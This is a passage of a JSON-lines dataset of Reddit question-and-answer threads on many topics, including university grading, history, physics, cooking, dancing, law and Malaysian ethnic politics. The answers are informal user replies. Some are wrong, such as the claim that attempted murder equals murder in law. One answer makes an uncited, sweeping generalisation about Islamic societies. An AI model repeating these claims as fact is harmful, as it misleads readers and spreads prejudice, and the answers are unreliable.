\n\n_URL_0_", "I will explain it from the view of a UK student. I study law as an undergraduate and for me the grades do go 70% for an A, 60% for a B, 50% for a C, and for a pass it is over 40%. We tend to refer to A grades as '1st class', B grades as 2.1 class, C grades as 2.2 class and D grades as 3rd class. I've met a lot of American and Australian exchange students here and they were confused as to why the grades were 'so low'. The truth is that it's very very hard to get an A here. 70% may not sound like a lot for an A, but it is quite difficult to achieve. In my degree, maybe only 10% or less get that grade (in one class, only 1 out of 100-110 students managed to achieve it.)\n\nKind of think like this. An A should be reserved for 'exceptionally good' work. Work with very few mistakes, well written, supported with lots of academic writing and examples, well analysed. A B is very good, few errors, etc. and it goes from there. Very few students will get A's. \n\nIf you follow the lectures, go to tutorials, do all of your recommended reading and keep up with the course, You might get a low B or high C. An A is for people who do that little bit extra. That extra reading, that extra research, that extra effort and analysis. \n\nI have experience of (EDIT: and lived with!) American students who came here in exchange and were used to getting maybe A's or a few B's at home, so they thought it would be the same here or easier due to our lower percentages for grades. Actually they ended up getting mostly C's or struggling to pass. They had to work very hard to get below what they were receiving at home. Basically, it's difficult to get the high grades here (especially in essay based subjects like law, English or history.). They tended to struggle with most or nearly all of the grade based on one final exam, as well as harsh markers and the very high standard expected. We also do less grading on a curve for some reason - professors seems good at estimating the required standards for an A (very high), B (high), etc. and similar numbers of students get A's and B's each year, despite grade boundaries staying the same.\n\nI should also explain it is very hard for us to do anything for extra credit, and the 'finals' for my courses actually counted for around 70-100% of my grade so we do less coursework and continual assessment (does depend on your degree though.) Also, UK universities don't tend to have GPAs. You guys need your A's and B's to maintain a high GPA. \n\nIn the UK, we get a degree classification. An A average is a 1st class degree (between 10-20% of people achieve this depending on the course) B is a 2.1 degree (not sure how many people get this grade, but it is usually the grade you need to get a graduate job), C is a 2.2 degree and D is a 3rd class degree. So our grades and testing kind of works out a bit differently? Also, usually first year DOES NOT COUNT towards your overall degree class. In Scotland, the first 2 years (out of 4) tend not to count for degree class\n\nThis is just the general system here though. I go to a very good uni, so the standards are very high here. I also do one of the more competitive courses. I know other people at different universities who seem to find it easier or people on different courses who have less work to do. Additionally, some courses might vary their grade boundaries or methods of assessment. This is just a general overview!\n\nTL,DR: Whilst the percentages required for grades seems low, it actually works out just as hard or even harder to get these grades than in America. Our grading and classification system is also different (no GPA). May be due to courses being harder in general, or stricter marking, or just a different system.\n\nIf you have any questions, please ask!", "I should mention that exams in a UK university are structured so that marks get harder to get the more you have.\n\nA question for say, Physical Chemistry, will have some marks for deriving some basic formula that was in the lectures, some more marks for using it in the right way on the question, and some more marks for realising that there is something different about this question and you need to use some approximation/some other formula in a way that wasn't in the lectures. There will probably also be some really odd edge case you might need to mention for full marks.\n\nThis means that most people will do the first few parts, and will make mistakes on the tricky bit, and not notice the ultra-hard exception. This is why our grades are structured that way, it's not like a linear multiple-choice exam where 75% means you know 75% of the content. If you know 100% of the lecture material, you'll get at best 70% without adding some extra understanding and intuition, reading around the topic etc.", "The numbers are completely arbitrary.\n\nC means average work.  Test and assignments could be designed so 75% is average, 50% is average, or whatever.\n\nAnd while the 70-80% C is common, it is far from universal.  I've gotten A's on math tests where I scored a 22.  It just so happened that was the highest score.", "I'm kind of shocked elementary schools in the US have grades at all.  it's becoming exceptionally hard to fail students prior to 7th grade, and even then, they usually can only fail it once. Lots of schools will push failing students up anyways because of their age.", "Does anyone actually explain \"why?\" though?  Most of the comments explain that \"yes indeed there is a difference in grading between the US and UK.\"\n\nConjectures as to why, with no supporting information from me: \n\nGrade inflation in the US/grade \"deflation\" in the UK (a guaranteed/required curve in the UK?)\n\nStandardized exams in the US/Free response exams in UK\n\nLarger class size in US/Smaller classes in UK\n\nBetter secondary/prepartory education in UK (unlikely; both places prepare students for their style of university)\n\nThe difference in scores does not actually equate to a difference in knowledge (ie, a US  > 90% A is equivalent knowledge as the UK  > 70% A; this is most likely to me)\n\nSince university education in the US is probably (again, pure conjecture on my part) most closely descended from the UK system (or maybe not?), A better question might be, \"How did US universities decide they were going to have higher scores than in the UK?\" ", "In the US 100 % is equivalent to excellent work. In the UK 100% is equivalent to perfect work. The lower numbers kind of follow this scale, i.e. in most UK universities 70+ is considered excellent. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.indiana.edu/~educy520/sec6342/week_07/durm93.pdf"], [], [], [], [], [], []]}
{"q_id": "1zg1nx", "title": "Were there any significant protests against the Spanish-American War?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1zg1nx/were_there_any_significant_protests_against_the/", "answers": {"a_id": ["cftct8f"], "score": [4], "text": ["It's always difficult to answer such a question as there might have been a protest *somewhere*, so I will have to qualify my answer. I assume that by 'protests' you mean public mass protests. Despite having read lots of books on Anti-Imperialism and the Spanish-American War, I have not come across significant protests in the U.S. against the war itself. On the contrary, there were public mass meetings calling *for* war. Considering the situation in Cuba, the war against Spain could be fought 'for humanity' and was very popular.\n\nThere have of course been protests against the possible annexation of the territories acquired after the war from Spain and the Anti-Imperialist campaign. But these were usually not directed against the war itself and took place toward the end or after the war.\n\nIf you have any follow-up questions, I'm back in a few hours and happy to answer them.\n\nSources include:\n\nBeisner, Twelve against empire: The anti-imperialists, 1898 - 1900\n\nLinderman, The mirror of war: American society and the Spanish-American War\n\nTompkins, Anti-imperialism in the United States: The great debate, 1890 - 1920"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "12a3vc", "title": "How can any two places be more than 12 hours apart?", "selftext": "This just doesn't make sense to me. The farthest apart two places can be is on opposite sides of the earth, Wouldn't that correspond to 12 hours (1/2 a day)?\n\nOr does the earth's angle of rotation have something to do with it?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/12a3vc/how_can_any_two_places_be_more_than_12_hours_apart/", "answers": {"a_id": ["c6teezs", "c6tejji", "c6tgit7", "c6ti8py"], "score": [7, 72, 15, 3], "text": ["If two places are 12 hours of rotation apart, and you go one hour over, it's  11 hours displaced, but it's ambiguous whether its ahead or behind. You could say it's 11 hours behind on the next day, or 13 hours ahead.", "A point immediately to the west of the international date line is 23 hours ahead of a point immediately to the east. In this sense, the farthest apart two places can be is *not* on opposite sides of the Earth, but rather surprisingly close to each other!\n\nOf course, plotted on a 24-hour clock, they're only an hour apart, but if you want to take dates into account as well (and you do, otherwise there's not much point), it's a different issue.", " >  Or does the earth's angle of rotation have something to do with it?\n\nNo, stay away from that idea, or you'll start thinking Time Cube.\n\nOther people have explained more thoroughly, but the core of the problem is the date line.", "While many people have pointed out that the shape of the time zones aren't along the latitudes, one other thing to take in to account, at least in North America, Europe, and less in other continents, is Daylight Savings Time, where clocks are set ahead an hour to push the time of sunset to a later time to provide for longer working days.\n\nSo, while I live in NYC, my friends in Japan during DST are typically 13 hours ahead of me."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "3agzqq", "title": "why does /r/srs and affiliates say they hate reddit, but continue to stay here?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3agzqq/eli5_why_does_rsrs_and_affiliates_say_they_hate/", "answers": {"a_id": ["cscjtse"], "score": [2], "text": ["Thy want to change reddit.....and do so by continually making it worse and stirring up shit....?\n\n\n...Yeah, I think there's only madness if you try to conflate their thinking with anything resembling logic."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3827xr", "title": "how are different ethnicities treated in malaysia? apparently malays were given special rights and theres some controversy?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3827xr/eli5_how_are_different_ethnicities_treated_in/", "answers": {"a_id": ["crrr2q1"], "score": [2], "text": ["My wife can answer this one, she's a Nonya. It's from her perspective and doesn't come with citations. \n\n-------------\n\nThe Malay people originally came from Indonesia with their royalty and established rule over Malaya, since there was no cohesive state previously.\n\nIslam gradually became the national religion of the Malays in about the 15th century starting with the upper classes and filtering through to the working classes. As Islamic societies are generally not very good at being fair to non-Muslims and tend to habitually provide preferential treatment to Muslims, this signalled a downward turn in race relations which would last into the 20th century. \n\nWhen the British Empire took control over the region sometime in the 17th century they established a \"divide and conquer\" strategy wherein they separated ethnicities into different societal roles, to keep the people from uniting against them. The ethnic Indians were rubber tappers, the ethnic Chinese were traders, the Orang Asli (natives) lived in a tribal society, and the Malays were farmers. \n\nin the 20th century WWII was a bad time for race relations as the Nationalist Malays collaborated with the Japanese invaders. Many of them would even spy on the ethnic Chinese for the occupation in return for elite status and government positions while the Japanese imperialists were attempting to exterminate the Chinese. This caused a lot of bad blood between Chinese and Malays which lasted well after WW2 ended and the Japanese retreated.\n\nIn the 1960-70's there was an affirmative action government strategy which gave Malays a disproportionate amount of education but did not secure enough employment for them, as people were still sticking to their ethnic groups - Chinese would only employ Chinese, Indians would only employ Indians. This led to rioting where Chinese businesses were burned and groups of young male Malays would ride around in trucks and massacre people with parangs and machetes. The Malay government started censoring dissent and imposed martial law, exacerbating the situation and beating down the non-Malay races.\n\nIn modern times the discrimination is slowly getting better because many young Malays are more liberal minded. Many of them don't feel that the privilege and advantages they recieve are fair. Some are outspoken about it, however there is still a lot of systemic inequality towards non-Malays, which varies from state to state. There are still separate laws for Muslims and Kuffar. For example up until quite recently in some states people would be ejected from their homes if there wasn't a certain percentage of Malays living in the area. There are employment quotas for companies which demand a certain percentage of Malays are employed. In schools, half of every class must be Malay. Families have had corpses of loved ones stolen and given Islamic burials based on claims that the deceased converted to Islam before they died. Malays get preferential treatment for university selection. Criticism of Islam is strictly forbidden and any non-Muslim places of worship are heavily regulated and forced to appear plain and nondescript. Building new Churches and Buddhist temples is forbidden. The Muslim call to prayer is loudly broadcast several times a day in most towns and cities and if you don't want to listen to it, tough luck. \n\nMalays consider themselves the native people of Malaysia despite the fact that there is a genuine native ethnicity (the Orang Asli) that is much older. They are able to justify a lot of the inequality using the rationale that they're providing affirmative action for the true natives of Malaysia. Because of this, Malaysia is experiencing a brain drain wherein educated non-Malays move to other countries to escape the inequality. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3ymlkb", "title": "why did the u.s air force retire the lgm-118 peacekeeper missile?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3ymlkb/eli5_why_did_the_us_air_force_retire_the_lgm118/", "answers": {"a_id": ["cyequs1"], "score": [11], "text": ["couple of reasons\n\nwhen the Cold War ended, there wasn't a need for a massive number of land-based ICBMs. They have a fleet of various versions of the LGM-30s, and a new and expensive fleet of the LGM-118 coming into existence. It was easier and cheaper for them to simply do away with the LGM-118s for the continued use of the LGM-30s. \n\nBy the time the LGM-118 came out, SLBMs (specifically the Trident II), were just as capable as the land based ballistic missiles, and almost infinitely more survivable.\n\nSo due to budget cuts, and nuclear reductions following the end of the Cold War and SMART, the LGM-118s were the logical choice. They didn't offer any major difference over the LGM-30s, they costed far more, and the Trident IIs were far more survivable. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "35cyhs", "title": "- i have a cold. where the hell are all the boogers coming from?!? why are some clear and some green?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/35cyhs/eli5_i_have_a_cold_where_the_hell_are_all_the/", "answers": {"a_id": ["cr395jl"], "score": [6], "text": ["Your body makes boogers to trap the sick, and get rid of it. The color depends on how sick the sick is."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7ok0q8", "title": "why is buttermilk used in so many cakes and breads, and what separates it from normal milk?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7ok0q8/eli5_why_is_buttermilk_used_in_so_many_cakes_and/", "answers": {"a_id": ["dsa1vgz", "dsa2122", "dsa8m6h"], "score": [20, 5, 4], "text": ["Buttermilk is slightly acidic.  It reacts with the baking soda to produce carbon dioxide which helps the batter/dough rise.  Think of a vinegar/baking soda volcano.  The acidity also helps break down the proteins (gluten) so the result is less chewy.\n\n", "Buttermilk is acidic. When you add baking soda to this, it creates air bubbles. This is used in cake recipes (and other recipes) to help create the bubbly texture of the cake.", "But what about things without baking soda like pancakes and crumbed chicken? It makes them so soft and amazing but the plain milk tastes awful lol."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2sks0m", "title": "how do you dance in a nightclub?!", "selftext": "I've recently gotten back into dating and going out more regularly, and a lot of girls want to go to nightclubs for dates. Unfortunately I feel like a total spaz on the dance floor,but everybody else seem to be having a great time. What the hell?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2sks0m/eli5_how_do_you_dance_in_a_nightclub/", "answers": {"a_id": ["cnqdy8s", "cnqe8fs", "cnqetkw", "cnqflpu", "cnqg441", "cnqhibe", "cnqlxjz", "cnqrhoj", "cnqsqph"], "score": [4, 29, 29, 6, 3, 21, 4, 2, 2], "text": ["how ever you like, its about having fun thats the point of dancing.", "1) get drunk\n\n2) give 0 fucks\n\n3) ~~Profit~~ Dance.", "\"Always keep the rhythm in your feet. Then we're gonna add just a *little* party in the shoulders, alright? Let's get those arms goin'! No, no, no! Arms down here says, 'I'm sorry and I'm white.' But arms up here says, 'You don't know *what* I am!'\"\n\n-[Phil Dunphy](_URL_0_)", "Trick question, you don't go to a nightclub in the first place.", "I *don't* dance but I've done my fair share of dancing in clubs. I had a few guys ask to dance with me so I suppose I couldn't have looked that bad doing it.\n\nHaving a drink or two helps you not give a fuck what you look like dancing.\nKnowing the song/beats helps keep rhythm. \nMy biggest problem was knowing what to do with my hands. I'd either stand next to a railing/pole/friend and grab that, or throw my hands up over my head and move them in rhythm. \n\nGenerally, as long as you move in time with the music, most folks probably won't give you funny looks. Adjust drinking as needed. ^_^", "Suggestion: if you aren't comfortable doing what the girls want to do on your dates, perhaps you're dating the wrong girls. You seem to know that nightclub dancing isn't your thing, so what is? Find girls who are interested in whatever that is, and you'll probably have a much better time and not feel like a total spaz.\n\nBut all of the other answers are on point to the question you explicitly asked in the title: you get drunk and dance 'til you drop.", "Find someone that has less morals than you and basically dry hump on the floor", "If you want to get good at dancing, practice in front of a mirror until you feel like you don't look like a total moron. But if you're just worried about feeling awkward you could just get drunk like everyone else.", "1. Have a drink or two first. Any more than three is trouble (for me, at least).\n\n2. Don't try to dance to music you don't like. \n\n3. Relax and let go. Start off with small movements. Once you're comfortable and staying in rhythm you can try to be a bit more adventurous.\n\n4. DON'T flail your arms wildly like a jackass. Part of being on a dance floor is that you're sharing space with other people also trying to have a good time - be considerate.\n\n5. Don't go chasing some girls around. It just annoys them. Instead, just enjoy yourself and try to get better. The girls will come to you once you can dance.\n\n6. Be brave and dance by yourself if noone wants to dance with you, even if you are a guy. If the girls can do it, why not guys? Also it's a good way to practice. \n\n7. Practice: At home, put on some really cool music and dance to it somewhere you can see a mirror. Then you can see if the moves you are making look good or stupid.\n\n8. Everybody is different;  size and weight, limb lengths are different. Some moves that work for some and look really good won't work at all for you. Experiment and find what moves feel comfortable / work well for you.\n\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://vimeo.com/105085039"], [], [], [], [], [], []]}
{"q_id": "o9ani", "title": "how the pci bus works", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/o9ani/eli5_how_the_pci_bus_works/", "answers": {"a_id": ["c3ffv7r"], "score": [7], "text": ["It would help if you explained why you want to know.  In other words, at what level do you want to know how it works?\n\nBasically a bus is a wire (or set of wires) between two (or more) points.  When you \"put data on the bus\" all you are doing is changing the voltage on the wire(s) to a certain level.  The \"read data from the bus\", you detect which voltage is on the wire(s).\n\nThe PCI bus is just a bus that uses the PCI protocol to communicate data.  A protocol is just a method that we all agree on so that we can understand each other:  For example, high voltage means 1 and low voltage means 0.\n\nIf you are designing hardware that has to interface with the PCI bus, you will obviously need more detail, but then you shouldn't be asking for ELI5 information.  :)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3uc92w", "title": "if a person kills another person, only for the victim to be revived, is the first person still a murderer?", "selftext": "Let's say Person A really wants Person B dead and kills them (so they are legally dead), only for them to be revived by a doctor a minute later. Does that still count as a murder, because the Person B was legally dead for a period of time, or attempted murder?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3uc92w/eli5_if_a_person_kills_another_person_only_for/", "answers": {"a_id": ["cxdn318", "cxdn3pb", "cxdn863", "cxdv6kg", "cxe5kl8"], "score": [23, 10, 3, 2, 2], "text": ["'legally dead' isn't a real thing.  If they were revived, they were never actually considered dead, so it would only be seen as attempted murder.\n\nHOWEVER in the eyes of the law, attempted murder is the same as murder.  So in that way, it is the same charge.", "Attempted murder, I should think. Though rare overall, many people have \"died\" and been revived.", "This reminds me of a movie, double jeopardy. A woman gets sent to prison for a murder she didnt commit.. the supposed victim framing her and faking death. So she spends her prison sentance training and preparing to kill him when she gets out, as you cant get sent to prison a 2nd time for murdering the same person.", "Who are you, Loki's lawyer trying to get him off for killing Coulson?", "Pretty sure it'd be attempted murder and would probably have extra punishments slapped on by the judge due to the severity."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "d07znq", "title": "why is shovelware more common in the gaming industry than other types of software industry?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/d07znq/eli5_why_is_shovelware_more_common_in_the_gaming/", "answers": {"a_id": ["ez7h8l9", "ez83kcv"], "score": [7, 5], "text": ["Because gamers like trying out new games, so even if a game is bad, they\u2019ll at least get the experience of trying it out.  \n\nWhereas if I\u2019m in the market for let\u2019s say, editing software for example, it doesn\u2019t make any sense at all for me to buy some bundle containing five different softwares, I just want one good one.  \n\nThe learning curve on games is also shallow relative to many other types of software.", "1) It's not. There's other software industries that are plagued with shovelware - such as phone wallpapers, phone calendar apps, phone anything free really it's all shovelware. Some PC non-games too, like media players/audio codecs/archive and expansion programs. I mean fuck even brokerage clients are shovelware these days - robin hood is HORRIBLE but free and there's a few dozen like it in the works.\n\n2) Because anything consumer-facing with a low barrier to entry is going to be mostly super cheap or 'free' and complete shit. Most people's budget for a wallpaper app is 0.00$. And they expect to be able to try it first so you have to hide the 2$ payment under a layer of freemium ad spam.\n\nIf you are working for a company that's buying photo-editing software your budget is not 5$, it's 5,000$/seat/month, and you can get good quality software and customer service for that much. And I bet you are going to do a lot more research into what you need and if the program can do that when it's your job on the line if you pay for a shitty app."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3n0tw3", "title": "why do russians often refer to people they know by both first and second names?is there a reason?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3n0tw3/eli5_why_do_russians_often_refer_to_people_they/", "answers": {"a_id": ["cvjtclg", "cvjtq4s"], "score": [5, 2], "text": ["From what I remember from the six weeks I spent in Russia, the respectful way to address someone in Russia is by using his/her name, and their dad's name.  So you might call someone Sergei Alexandrovich if his name's Sergei and his dad's name is Alexander.  \n\nThis is how you address people at work, people who are older than you, and anyone else you generally want to show respect towards.  ", "Thanks.anwsers all on point,that was easier than I thought!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3vvvwo", "title": "If the expansion of the universe can be slowed by gravity, as in the big crunch theory, does that mean space is not expanding near massive objects?", "selftext": "I've always understood that expansion occurs everywhere equally, including between the atoms of my body, but was unnoticeable compared to the local forces.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3vvvwo/if_the_expansion_of_the_universe_can_be_slowed_by/", "answers": {"a_id": ["cxr9nf6", "cxrmyiu"], "score": [11, 3], "text": ["Expansion is a large scale feature of the universe, and on large scales, the universe is basically [homogeneous](_URL_2_) (and [isotropic](_URL_0_), but that's not relevant to answer this question). A homogeneous universe is, roughly, a universe which has a uniform distribution of all the different kinds of matter.\n\nWhen solving the [Einstein field equations](_URL_1_), which are the equations that tell us how the geometry of spacetime is related to the matter content of the universe, we find that a homogeneous and isotropic universe is desribed mathematically by an object called the [FLRW metric](_URL_3_). The equations we obtain from this metric are the equations that tell us that space is expanding. \n\nOn small scales (galaxies, stars, atoms), the universe is not homogeneous, and so the FLRW metric is not an appropriate description of the geometry of spacetime. In particular, the FLRW metric doesn't account for gravitationally and electromagnetically bound small scale structures like galaxies, stars, and atoms, so we expect that it wouldn't give us a correct description the geometry of spacetime on small scales. ", "The Universe isn't expanding near massive objects.\n\nAs /u/LongDistanceJamz said, the expansion of the Universe is something that only even makes sense to discuss on the largest scales - when you write down the mathematical description for spacetime near the Earth and other massive objects, you don't get anything that looks like cosmic expansion.\n\nBut it might be helpful to think about it less mathematically and more physically. The expansion of the Universe operates on the same basic principles as an object thrown into the air on Earth. So let's think about a baseball. I throw it up. If I don't throw it that hard, it will go up for a bit, slow down due to gravity, and eventually slow to a complete halt. At that point it falls back down to the ground. This is analogous to a universe that expands then recollapses in a big crunch.\n\nOn the other hand, if you throw the ball up hard enough - faster than the *escape velocity* - it won't ever slow to a complete stop, and will just keep moving up and up. This is analogous to a universe that doesn't collapse in a big crunch, but keeps expanding forever. Our Universe is very much like this (although not exactly like it - we also have something called dark energy, which can be fit into this story, but requires a bit more thought).\n\nSo what about the situation where some regions of the Universe have collapsed to form massive objects, while the whole keeps expanding? This is like throwing up a whole bunch of baseballs, all with slightly varying speeds. The faster ones keep moving up, while the slower ones fall to the ground. Those slower ones are like the regions of our Universe that collapsed. And there's no remaining expansion in those regions, just like there's no remaining upward motion on the balls that fell back down.\n\nSo this thing you'd heard was a common misconception - the expansion is *not* some universal force which is \"overcome\" locally by gravity. The expansion is an effect of gravity itself, and when things aren't moving away from each other, there's no expansion."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Isotropy", "https://en.wikipedia.org/wiki/Einstein_field_equations", "https://en.wikipedia.org/wiki/Homogeneity_\\(physics\\)#Homogeneous_cosmology", "https://en.wikipedia.org/wiki/Friedmann%E2%80%93Lema%C3%AEtre%E2%80%93Robertson%E2%80%93Walker_metric"], []]}
{"q_id": "kqd04", "title": "can someone eli5 why golfer care about their swing after they hit the ball?", "selftext": "I forget the term for it, but I've soon golf announcers criticize swings and using clips from after the ball is in the air as examples. Why? As soon as the ball bounces off the club, the difference in the air current created by the swing is so negligible it's not even really worth mentioning, so there has to be another reason...", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/kqd04/can_someone_eli5_why_golfer_care_about_their/", "answers": {"a_id": ["c2mbz0f", "c2mc7ck", "c2mchcy", "c2mbz0f", "c2mc7ck", "c2mchcy"], "score": [3, 3, 3, 3, 3, 3], "text": ["The trajectory and flight pattern of a golf ball are affected by the club facing on impact. A poor swing can cause significant side spin in the ball flight causing the ball left or right of the target. The impact of wind on ball flight is more prevalent on links style courses. (The scotish courses mostly)", "No one is swinging their club in the hopes of affecting the ball with air currents. The whole concept behind a proper \"follow-through\" in the swing is that in focusing on the mechanics of the swing - follow-through included - you'll have proper form _throughout the entire swing_. It's the same concept in many other sports. The reasoning is that the human body doesn't instantaneously generate force, so changing your follow-through changes _the impact_, immediately prior to the follow-through.", "There are a few reasons why they care. One, if a swing goes bad you can tell what happened. Aside from the wind current a ball can go wildly right (slice) or left (hook) or it can draw (slight curve to the left) or fade (slight curve to the right and it's caused by your poor form. If you keep proper form during the entire swing you can hopefully avoid this. You can often tell by your follow through what went wrong and hopefully correct it next time. \n\nOther reasons include, trying to find something to talk about during a golf game and similar pursuits.  ", "The trajectory and flight pattern of a golf ball are affected by the club facing on impact. A poor swing can cause significant side spin in the ball flight causing the ball left or right of the target. The impact of wind on ball flight is more prevalent on links style courses. (The scotish courses mostly)", "No one is swinging their club in the hopes of affecting the ball with air currents. The whole concept behind a proper \"follow-through\" in the swing is that in focusing on the mechanics of the swing - follow-through included - you'll have proper form _throughout the entire swing_. It's the same concept in many other sports. The reasoning is that the human body doesn't instantaneously generate force, so changing your follow-through changes _the impact_, immediately prior to the follow-through.", "There are a few reasons why they care. One, if a swing goes bad you can tell what happened. Aside from the wind current a ball can go wildly right (slice) or left (hook) or it can draw (slight curve to the left) or fade (slight curve to the right and it's caused by your poor form. If you keep proper form during the entire swing you can hopefully avoid this. You can often tell by your follow through what went wrong and hopefully correct it next time. \n\nOther reasons include, trying to find something to talk about during a golf game and similar pursuits.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "1wysgj", "title": "Why does it seem that Henry III of England is so overlooked by (popular) history?", "selftext": "Although I realise there is probably a wealth of academic literature on him, Henry seems to be chiefly known for reigning forever and having a zoo, whilst his nemesis Simon De Montfort seems to hold more of a grip on imagination. So why is this King lacking in popularity in modern eyes? Was he incompetent but not as incompetent to be as memorable as his father King John, or was he greatly overshadowed by his son Edward I?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1wysgj/why_does_it_seem_that_henry_iii_of_england_is_so/", "answers": {"a_id": ["cf6u162"], "score": [3], "text": ["A little bit of all of these things. Henry III wasn't really a remarkable figure. His regent was one of the most famous knights of the middle ages, William Marshal. His dad was one of the most maligned kings in English history. His son was a great administrative reformer, suppressed Wales, went of crusade, beat Simon de Montfort, and was involved in well-known battles with Scotland. What did Henry do? He reissued Magna Carta a couple of times. His mother, Isabelle of Angouleme, goaded him into (disastrously) trying to reclaim Normandy and then sent his spoiled half-siblings from Lusignan to England where Henry funded their lavish lifestyles - this made him very unpopular. Henry was not a good diplomat, he was not a political reformer, and he did not want to get into another fight with the Pope. Henry was pious and liked Edward the Confessor. Even though he reigned for over fifty years, if there's nothing really exciting going on, it is hard for a historian to justify writing a monograph length work on him. Even academic works are sparse on his reign, though he is always included when works come out on the Angevins, Plantagenets, or England in the High Middle Ages.\n\nHere are a couple of works that provide further reading:\n\n(1) David Carpenter. *The Minority of Henry III* (1990)\n\n(2) Bjorn Weiller. *Henry III of England and the Staufen Empire, 1216-1272* (2006)\n\n(3) Robert Stacey. *Politics, policy, and finance under Henry III, 1216-1245* (1987)\n\n(4) Nicholas Vincent. *The Holy Blood : King Henry III and the Westminster Blood relic* (2001)\n\nHope this helps a little. Happy Reading!\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "trnfu", "title": "Is there any way of mitigating testicular pain?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/trnfu/is_there_any_way_of_mitigating_testicular_pain/", "answers": {"a_id": ["c4p50re"], "score": [11], "text": ["It hurts more than other regions due to the nature and number of nerves there.\n\nHaving a response to being hit in that region that causes a lot of pain is a great evolutionary incentive to keep that area safe; after all, that's the only area that can pass on your genes. It also allows that area to be sensitive to other stimulation, another great evolutionary boon. Unfortunately, probably due to sperm production having to happen out of the body, they are very unprotected.\n\nAs to why nature has left us with no coping mechanism it's again probably due to the benefit of keeping this area safer; if you make it very painful then the animal will try even harder to keep it safe."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3xh74p", "title": "what commonalities are there when large cultures abandon widely practised religions for another, such as the greeks, romans, egyptians, etc.?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3xh74p/eli5_what_commonalities_are_there_when_large/", "answers": {"a_id": ["cy4l76a"], "score": [5], "text": ["Well, the one commonality is their civilisation/empire collapses and breaks off into smaller bits. \n\nWith the Romans it was a bit different. Christianity was becoming popular, and it advocated all kinds of things the Roman leadership was opposed to, so they decided to embrace and enforce it rather than fight it. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1auume", "title": "how does mopping clean the floor, if the soapy water just stays on the ground?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1auume/eli5_how_does_mopping_clean_the_floor_if_the/", "answers": {"a_id": ["c910cp0", "c91lhxi"], "score": [12, 2], "text": ["you will typically mop in back and forth passes. The mop will get the floor wet which will help dissolve dirt on the floor. A second pass will catch the dirt. You repeat multiple times until the floor looks clean. You then put the mop in the bucket to get fresh water and release the trapped dirt. You do not necessarily use soapy water. That can leave a residue. Other cleaners that evaporate however can be used.", "Usually the mop soaks up the dirt and releases into the bucket of water you dip it in. Thats why if you mop a big area, you have to change out your water. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1onilp", "title": "what does auto-tune actually do?", "selftext": "What is it physically doing to someones voice? How much power does it take? Is T-Paine's app an accurate representation of auto-tune? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1onilp/eli5what_does_autotune_actually_do/", "answers": {"a_id": ["ccto99p", "cctou25", "cctp3hx", "cctpeqh", "cctsmul", "cctviqx"], "score": [29, 3, 24, 2, 2, 4], "text": ["Auto-tune uses digital processing to shift the pitch of a voice to the closest note.  That way even if someone sings a bit off-key the audience won't notice[1].  It's something that runs in a digital signal processor, so it doesn't really use any more power than a tiny computer does.\n\nI have no idea what T-Paine's app is.\n\n[1] Well, they might notice the exact characteristics of an auto-tuner, but they won't notice someone being off-key.", "T-Pain's use (or his producer's) of auto-tune is exaggerated, so it's not a good example of how it's usually used. \n\nI don't know what you mean by power though. If you have a decent computer it takes just a few seconds to process.\n\nFor the most part, auto-tune is used in a more subtle way to correct when a singer goes off pitch. A good use of auto-tune is when you don't know it's being used. It basically makes a 